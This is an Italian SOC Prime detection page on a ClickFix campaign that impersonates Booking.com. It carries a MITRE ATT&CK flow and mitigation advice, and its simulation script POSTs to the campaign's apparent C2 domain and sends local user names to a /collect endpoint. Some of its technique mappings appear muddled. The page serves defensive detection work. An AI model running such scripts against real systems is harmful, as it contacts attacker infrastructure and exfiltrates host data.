SOC Prime Bias: Medio

24 Apr 2026 13:26 UTC

Analisi di una catena di attacco completa di ClickFix (parte 1)

Author Photo
SOC Prime Team linkedin icon Segui
Analisi di una catena di attacco completa di ClickFix (parte 1)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

Il rapporto delinea una campagna ClickFix in cui un sito Web dannoso si spaccia per Booking.com per persuadere gli utenti a copiare ed eseguire un comando PowerShell. Una volta eseguito, il comando avvia uno script PowerShell senza file che scarica un archivio ZIP di seconda fase. Il dropper raccoglie informazioni sull’host, scrive il payload nella directory temporanea e crea persistenza sia attraverso una chiave di registro Run, sia un’attività pianificata. L’intera catena di infezione si basa su contenuti web convincenti ed esecuzione guidata dall’utente piuttosto che su un exploit evidente.

Indagine

Gli analisti di Stormshield hanno catturato il JavaScript responsabile del recupero di un comando PowerShell da un dominio command-and-control e del posizionamento nella clipboard dell’utente. Hanno anche analizzato il dropper PowerShell, che raccoglieva informazioni dettagliate sul sistema tramite query WMI e variabili d’ambiente prima di esfiltrare i dati tramite una richiesta GET. Lo stesso dropper ha poi scaricato un archivio ZIP da un secondo dominio, ha estratto il suo contenuto e ha configurato la persistenza sull’host compromesso. I ricercatori hanno mappato i comportamenti e le tecniche osservati ai loro corrispondenti identificatori MITRE ATT&CK.

Mitigazione

Le organizzazioni dovrebbero bloccare i domini e gli URL dannosi legati alla campagna ClickFix e applicare un filtraggio web rigoroso per ridurre l’esposizione a pagine di atterraggio in stile phishing. I difensori dovrebbero monitorare l’esecuzione di PowerShell con flag come -ExecutionPolicy Bypass e impostazioni di finestra nascosta, limitando al contempo l’esecuzione di script PowerShell non firmati tramite controllo delle applicazioni. Rilevamenti aggiuntivi dovrebbero concentrarsi sulla creazione di chiavi di registro Run sospette e attività pianificate con nomi inusuali.

Risposta

I team di sicurezza dovrebbero allertare sul traffico in uscita verso i domini command-and-control identificati e sulle linee di comando PowerShell che utilizzano Invoke-Expression per eseguire contenuti recuperati da remoto. La logica di rilevamento dovrebbe coprire anche la creazione dello specifico valore di registro Run e del nome dell’attività pianificata associati alla campagna. Se l’attività viene confermata, isolare immediatamente l’endpoint, raccogliere prove volatili e eseguire una revisione forense dei file temporanei e del payload ZIP scaricato.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffeb99 classDef tool fill:#ccffcc classDef process fill:#ffcccc classDef persistence fill:#ddddff %% Nodes action_initial["<b>Azione</b> – Accesso Iniziale: Pagina web con copia-incolla malevolo"] tech_user_exec["<b>Tecnica</b> – T1204.004 Esecuzione Utente: Copia e incolla malevolo"] process_ps["<b>Processo</b> – Comando PowerShell copiato negli appunti"] tech_ps["<b>Tecnica</b> – T1059.001 PowerShell"] tech_process_inject["<b>Tecnica</b> – T1055.011 Iniezione di Processo"] action_discovery["<b>Azione</b> – Scoperta di Sistema"] tech_account_discovery["<b>Tecnica</b> – T1087 Scoperta degli Account"] tech_security_sw["<b>Tecnica</b> – T1518.001 Scoperta del Software di Sicurezza"] tech_time_discovery["<b>Tecnica</b> – T1124 Scoperta dell’Ora di Sistema"] action_c2["<b>Azione</b> – Comando e Controllo"] tech_http_c2["<b>Tecnica</b> – T1071.001 Protocolli Web (HTTP)"] action_download["<b>Azione</b> – Download del Payload"] tech_ingress["<b>Tecnica</b> – T1105 Trasferimento Strumento Ingresso"] action_deploy["<b>Azione</b> – Distribuzione del payload (estrazione ZIP)"] action_persistence["<b>Azione</b> – Stabilimento della persistenza"] tech_registry_run["<b>Tecnica</b> – T1547.001 Chiavi di Registro Run / Cartella di Avvio"] tech_scheduled_task["<b>Tecnica</b> – T1053.005 Attività/Processo Pianificato: Al Logon"] action_final["<b>Azione</b> – Esecuzione finale del payload"] process_payload["<b>Processo</b> – File eseguibile o batch estratto"] %% Connections action_initial –>|attiva| tech_user_exec tech_user_exec –>|porta a| process_ps process_ps –>|esegue| tech_ps tech_ps –>|può eseguire| tech_process_inject tech_process_inject –>|abilita| action_discovery action_discovery –>|utilizza| tech_account_discovery action_discovery –>|utilizza| tech_security_sw action_discovery –>|utilizza| tech_time_discovery action_discovery –>|invia dati a| action_c2 action_c2 –>|utilizza| tech_http_c2 action_c2 –>|attiva| action_download action_download –>|utilizza| tech_ingress action_download –>|memorizza file in| action_deploy action_deploy –>|crea| action_persistence action_persistence –>|utilizza| tech_registry_run action_persistence –>|fallback| tech_scheduled_task action_persistence –>|abilita| action_final action_final –>|avvia| process_payload %% Class Assignments class action_initial action class tech_user_exec technique class process_ps process class tech_ps technique class tech_process_inject technique class action_discovery action class tech_account_discovery technique class tech_security_sw technique class tech_time_discovery technique class action_c2 action class tech_http_c2 technique class action_download action class tech_ingress technique class action_deploy action class action_persistence action class tech_registry_run technique class tech_scheduled_task technique class action_final action class process_payload process "

Flusso di attacco

Esecuzione di Simulazione

Prerequisito: Il Controllo di Prevolo del Telemetria e Baseline deve essere stato superato.

Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrazione ed Esecuzione Attacco:
    Un aggressore, avendo ottenuto un punto d’appoggio su una workstation interna compromessa, emette un one-liner PowerShell che contatta l’URL ClickFix C2 con il ?get_command=1 parametro tramite un POST HTTP. Il server restituisce un payload PowerShell che enumera gli account utente locali (T1087), controlla l’ora del sistema (T1124), scopre i prodotti di sicurezza installati (T1518.001) e quindi copia l’output negli appunti. Il contenuto degli appunti viene successivamente pubblicato di nuovo sul server ClickFix per l’esfiltrazione, soddisfacendo T1204.004 e T1547.001. Questo esatto schema di traffico corrisponde alla regola Sigma request_uri|contains: "?get_command=1" and http_method: POST condizioni.

  • Script di Test di Regressione:

    # Simulazione di Recupero Comando ClickFix – attiva la regola Sigma
    $url = "https://accountpulsecentre.help/ern-ZIoCCeHgBJpt2g33q1ZHZmrC2jCoRE1hGJ5O38s?get_command=1"
    $payload = @{
        dummy = "dati"
    }
    
    # Invia la richiesta POST dannosa
    $response = Invoke-WebRequest -Uri $url -Method POST -Body ($payload | ConvertTo-Json) -ContentType "application/json"
    
    # Simula l'esecuzione del comando PowerShell recuperato (semplificato)
    $psCommand = $response.Content
    Write-Output "Comando recuperato: $psCommand"
    
    # Per dimostrazione, eseguire un sottoinsieme innocuo (ad es. ottenere utenti locali) e copiare negli appunti
    $users = Get-LocalUser | Select-Object -ExpandProperty Name
    $usersString = $users -join "`n"
    Set-Clipboard -Value $usersString
    
    # Esfiltrare il contenuto degli appunti al server ClickFix (simulato)
    $exfilUrl = "https://accountpulsecentre.help/collect"
    Invoke-WebRequest -Uri $exfilUrl -Method POST -Body @{clipboard=$usersString} -ContentType "application/x-www-form-urlencoded"
  • Comandi di Pulizia:

    # Rimuovere eventuali file temporanei o artefatti creati durante il test
    Clear-Clipboard
    Write-Output "Pulizia completata - appunti cancellati."